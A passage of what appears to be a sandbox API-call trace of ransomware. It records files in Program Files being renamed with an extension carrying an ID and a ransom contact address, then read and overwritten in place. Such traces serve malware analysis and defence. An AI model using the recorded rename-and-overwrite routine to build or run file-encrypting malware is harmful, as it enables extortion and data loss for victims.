files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft office\\office16\\dcf\\spreadsheetcompare.exe.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0214.876] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x687ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0214.876] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\SPREADSHEETCOMPARE.EXE.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x687fc6c | out: lpFindFileData=0x687fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x5a3ee57, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5a3ee57, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5ad77c9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6f0c0, dwReserved0=0x5f0032, dwReserved1=0x63005b, cFileName="SPREADSHEETCOMPARE.EXE.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SPREAD~1.FIR")) returned 0x6d4ec0 [0214.876] FindClose (in: hFindFile=0x6d4ec0 | out: hFindFile=0x6d4ec0) returned 1 [0214.876] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\SPREADSHEETCOMPARE.EXE.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft office\\office16\\dcf\\spreadsheetcompare.exe.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x718 [0214.876] GetProcessHeap () returned 0x630000 [0214.876] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6faaf20 [0214.877] GetProcessHeap () returned 0x630000 [0214.877] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7264620 [0214.878] SetFilePointerEx (in: hFile=0x718, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.878] ReadFile (in: hFile=0x718, lpBuffer=0x6faaf20, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x687ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6faaf20*, lpNumberOfBytesRead=0x687ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0221.497] GetProcessHeap () returned 0x630000 [0221.497] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318d00 [0221.498] SetFilePointerEx (in: hFile=0x718, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0221.498] WriteFile (in: hFile=0x718, lpBuffer=0x7264620*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x687ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7264620*, lpNumberOfBytesWritten=0x687ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0221.498] SetFilePointerEx (in: hFile=0x718, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0221.498] WriteFile (in: hFile=0x718, lpBuffer=0x726fa1f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x687ff0c, lpOverlapped=0x0 | out: lpBuffer=0x726fa1f*, lpNumberOfBytesWritten=0x687ff0c*=0x20, lpOverlapped=0x0) returned 1 [0221.500] SetFilePointerEx (in: hFile=0x718, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0221.500] WriteFile (in: hFile=0x718, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x687ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x687ff0c*=0x4, lpOverlapped=0x0) returned 1 [0221.500] CloseHandle (hObject=0x718) returned 1 [0221.500] GetProcessHeap () returned 0x630000 [0221.500] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7264620 | out: hHeap=0x630000) returned 1 [0221.501] GetProcessHeap () returned 0x630000 [0221.501] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6faaf20 | out: hHeap=0x630000) returned 1 [0221.501] GetProcessHeap () returned 0x630000 [0221.501] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318d00 | out: hHeap=0x630000) returned 1 [0221.501] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x687ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0221.501] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\SPREADSHEETCOMPARE.EXE.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x687fcc4 | out: lpFindFileData=0x687fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x5a3ee57, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5a3ee57, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x49f98f76, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x6f0e4, dwReserved0=0x9a87496, dwReserved1=0x6faaf18, cFileName="SPREADSHEETCOMPARE.EXE.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SPREAD~1.FIR")) returned 0x6d4e00 [0221.501] FindClose (in: hFindFile=0x6d4e00 | out: hFindFile=0x6d4e00) returned 1 [0221.501] Sleep (dwMilliseconds=0x1) [0221.526] SysReAllocStringLen (in: pbstr=0x687ff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ko-KR\\toastreviewsettings.xml", len=0x7c | out: pbstr=0x687ff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ko-KR\\toastreviewsettings.xml") returned 1 [0221.526] GetProcessHeap () returned 0x630000 [0221.526] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x50dc) returned 0x6fe3bb0 [0221.526] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ko-KR\\toastreviewsettings.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\ko-kr\\toastreviewsettings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x700 [0221.526] CloseHandle (hObject=0x700) returned 1 [0221.526] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x687ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0221.527] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ko-KR\\toastreviewsettings.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\ko-kr\\toastreviewsettings.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ko-KR\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\ko-kr\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0221.527] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x687ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0221.527] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ko-KR\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x687fc6c | out: lpFindFileData=0x687fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3ae466, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3ae466, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1bc, dwReserved0=0x69002e, dwReserved1=0x2d0064, cFileName="toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTR~1.FIR")) returned 0x6d5200 [0221.528] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0221.528] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ko-KR\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\ko-kr\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x700 [0221.528] GetProcessHeap () returned 0x630000 [0221.528] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1c1) returned 0x74a9eb8 [0221.528] GetProcessHeap () returned 0x630000 [0221.528] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1c1) returned 0x74aa9c8 [0221.528] SetFilePointerEx (in: hFile=0x700, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0221.528] ReadFile (in: hFile=0x700, lpBuffer=0x74a9eb8, nNumberOfBytesToRead=0x1a0, lpNumberOfBytesRead=0x687ff0c, lpOverlapped=0x0 | out: lpBuffer=0x74a9eb8*, lpNumberOfBytesRead=0x687ff0c*=0x1a0, lpOverlapped=0x0) returned 1 [0222.871] GetProcessHeap () returned 0x630000 [0222.871] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317a68 [0222.871] SetFilePointerEx (in: hFile=0x700, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0222.871] WriteFile (in: hFile=0x700, lpBuffer=0x74aa9c8*, nNumberOfBytesToWrite=0x1a0, lpNumberOfBytesWritten=0x687ff0c, lpOverlapped=0x0 | out: lpBuffer=0x74aa9c8*, lpNumberOfBytesWritten=0x687ff0c*=0x1a0, lpOverlapped=0x0) returned 1 [0224.242] SetFilePointerEx (in: hFile=0x700, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0224.242] WriteFile (in: hFile=0x700, lpBuffer=0x74aab67*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x687ff0c, lpOverlapped=0x0 | out: lpBuffer=0x74aab67*, lpNumberOfBytesWritten=0x687ff0c*=0x20, lpOverlapped=0x0) returned 1 [0225.091] SetFilePointerEx (in: hFile=0x700, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0225.091] WriteFile (in: hFile=0x700, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x687ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x687ff0c*=0x4, lpOverlapped=0x0) returned 1 [0225.091] CloseHandle (hObject=0x700) returned 1 [0225.701] GetProcessHeap () returned 0x630000 [0225.701] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x74aa9c8 | out: hHeap=0x630000) returned 1 [0225.701] GetProcessHeap () returned 0x630000 [0225.701] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x74a9eb8 | out: hHeap=0x630000) returned 1 [0225.701] GetProcessHeap () returned 0x630000 [0225.701] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317a68 | out: hHeap=0x630000) returned 1 [0227.347] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x687ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0227.347] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ko-KR\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x687fcc4 | out: lpFindFileData=0x687fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3ae466, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3ae466, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c1d9836, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1e0, dwReserved0=0x687fd20, dwReserved1=0x74a9eb8, cFileName="toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTR~1.FIR")) returned 0x6d4f80 [0227.347] FindClose (in: hFindFile=0x6d4f80 | out: hFindFile=0x6d4f80) returned 1 [0227.347] Sleep (dwMilliseconds=0x1) [0227.403] SysReAllocStringLen (in: pbstr=0x687ff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\resources\\Picture2_80.jpg", len=0x78 | out: pbstr=0x687ff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\resources\\Picture2_80.jpg") returned 1 [0227.403] GetProcessHeap () returned 0x630000 [0227.403] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5134) returned 0x6fe3bb0 [0227.403] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\resources\\Picture2_80.jpg" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\resources\\picture2_80.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x66c [0227.405] CloseHandle (hObject=0x66c) returned 1 [0227.405] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x687ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0227.405] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\resources\\Picture2_80.jpg" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\resources\\picture2_80.jpg"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\resources\\Picture2_80.jpg.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\resources\\picture2_80.jpg.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0227.411] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x687ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0227.411] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\resources\\Picture2_80.jpg.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x687fc6c | out: lpFindFileData=0x687fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x918a2cfb, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x918a2cfb, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x1c907700, ftLastWriteTime.dwHighDateTime=0x1d2a6ca, nFileSizeHigh=0x0, nFileSizeLow=0x237b3, dwReserved0=0x390031, dwReserved1=0x380039, cFileName="Picture2_80.jpg.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PICTUR~1.FIR")) returned 0x6d5000 [0227.411] FindClose (in: hFindFile=0x6d5000 | out: hFindFile=0x6d5000) returned 1 [0227.411] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\resources\\Picture2_80.jpg.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\resources\\picture2_80.jpg.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x66c [0227.411] GetProcessHeap () returned 0x630000 [0227.411] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x700a820 [0227.411] GetProcessHeap () returned 0x630000 [0227.411] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7015c50 [0227.411] SetFilePointerEx (in: hFile=0x66c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0227.411] ReadFile (in: hFile=0x66c, lpBuffer=0x700a820, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x687ff0c, lpOverlapped=0x0 | out: lpBuffer=0x700a820*, lpNumberOfBytesRead=0x687ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0233.207] GetProcessHeap () returned 0x630000 [0233.207] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317950 [0233.208] SetFilePointerEx (in: hFile=0x66c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0233.208] WriteFile (in: hFile=0x66c, lpBuffer=0x7015c50*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x687ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7015c50*, lpNumberOfBytesWritten=0x687ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0233.835] SetFilePointerEx (in: hFile=0x66c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0233.835] WriteFile (in: hFile=0x66c, lpBuffer=0x702104f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x687ff0c, lpOverlapped=0x0 | out: lpBuffer=0x702104f*, lpNumberOfBytesWritten=0x687ff0c*=0x20, lpOverlapped=0x0) returned 1 [0233.935] SetFilePointerEx (in: hFile=0x66c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0233.935] WriteFile (in: hFile=0x66c, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x687ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x687ff0c*=0x4, lpOverlapped=0x0) returned 1 [0233.935] CloseHandle (hObject=0x66c) returned 1 [0233.935] GetProcessHeap () returned 0x630000 [0233.935] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7015c50 | out: hHeap=0x630000) returned 1 [0233.936] GetProcessHeap () returned 0x630000 [0233.936] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x700a820 | out: hHeap=0x630000) returned 1 [0233.936] GetProcessHeap () returned 0x630000 [0233.936] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317950 | out: hHeap=0x630000) returned 1 [0233.936] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x687ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0233.936] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\resources\\Picture2_80.jpg.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x687fcc4 | out: lpFindFileData=0x687fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x918a2cfb, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x918a2cfb, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x51639017, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x237d7, dwReserved0=0x9a87496, dwReserved1=0x700a818, cFileName="Picture2_80.jpg.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PICTUR~1.FIR")) returned 0x6d5580 [0233.937] FindClose (in: hFindFile=0x6d5580 | out: hFindFile=0x6d5580) returned 1 [0233.937] Sleep (dwMilliseconds=0x1) [0233.953] SysReAllocStringLen (in: pbstr=0x687ff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\is-IS\\toastreviewsettings.xml", len=0x7c | out: pbstr=0x687ff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\is-IS\\toastreviewsettings.xml") returned 1 [0233.953] GetProcessHeap () returned 0x630000 [0233.953] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x50ac) returned 0x6fe3bb0 [0233.960] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\is-IS\\toastreviewsettings.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\is-is\\toastreviewsettings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x70c [0234.037] CloseHandle (hObject=0x70c) returned 1 [0234.037] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x687ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0234.042] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\is-IS\\toastreviewsettings.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\is-is\\toastreviewsettings.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\is-IS\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\is-is\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0234.108] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x687ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0234.108] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\is-IS\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x687fc6c | out: lpFindFileData=0x687fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f361f6d, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f361f6d, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x69002e, dwReserved1=0x2d0064, cFileName="toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTR~1.FIR")) returned 0x6d5340 [0234.108] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0234.108] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\is-IS\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\is-is\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x70c [0234.108] GetProcessHeap () returned 0x630000 [0234.108] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1a1) returned 0x6f41b8 [0234.108] GetProcessHeap () returned 0x630000 [0234.108] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1a1) returned 0x6f3920 [0234.108] SetFilePointerEx (in: hFile=0x70c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0234.108] ReadFile (in: hFile=0x70c, lpBuffer=0x6f41b8, nNumberOfBytesToRead=0x180, lpNumberOfBytesRead=0x687ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f41b8*, lpNumberOfBytesRead=0x687ff0c*=0x180, lpOverlapped=0x0) returned 1 [0234.111] GetProcessHeap () returned 0x630000 [0234.111] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318be8 [0234.111] SetFilePointerEx (in: hFile=0x70c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0234.111] WriteFile (in: hFile=0x70c, lpBuffer=0x6f3920*, nNumberOfBytesToWrite=0x180, lpNumberOfBytesWritten=0x687ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f3920*, lpNumberOfBytesWritten=0x687ff0c*=0x180, lpOverlapped=0x0) returned 1 [0234.111] SetFilePointerEx (in: hFile=0x70c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0234.111] WriteFile (in: hFile=0x70c, lpBuffer=0x6f3a9f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x687ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f3a9f*, lpNumberOfBytesWritten=0x687ff0c*=0x20, lpOverlapped=0x0) returned 1 [0234.111] SetFilePointerEx (in: hFile=0x70c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0234.111] WriteFile (in: hFile=0x70c, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x687ff0c, lpOverlapped=0x0 | out: 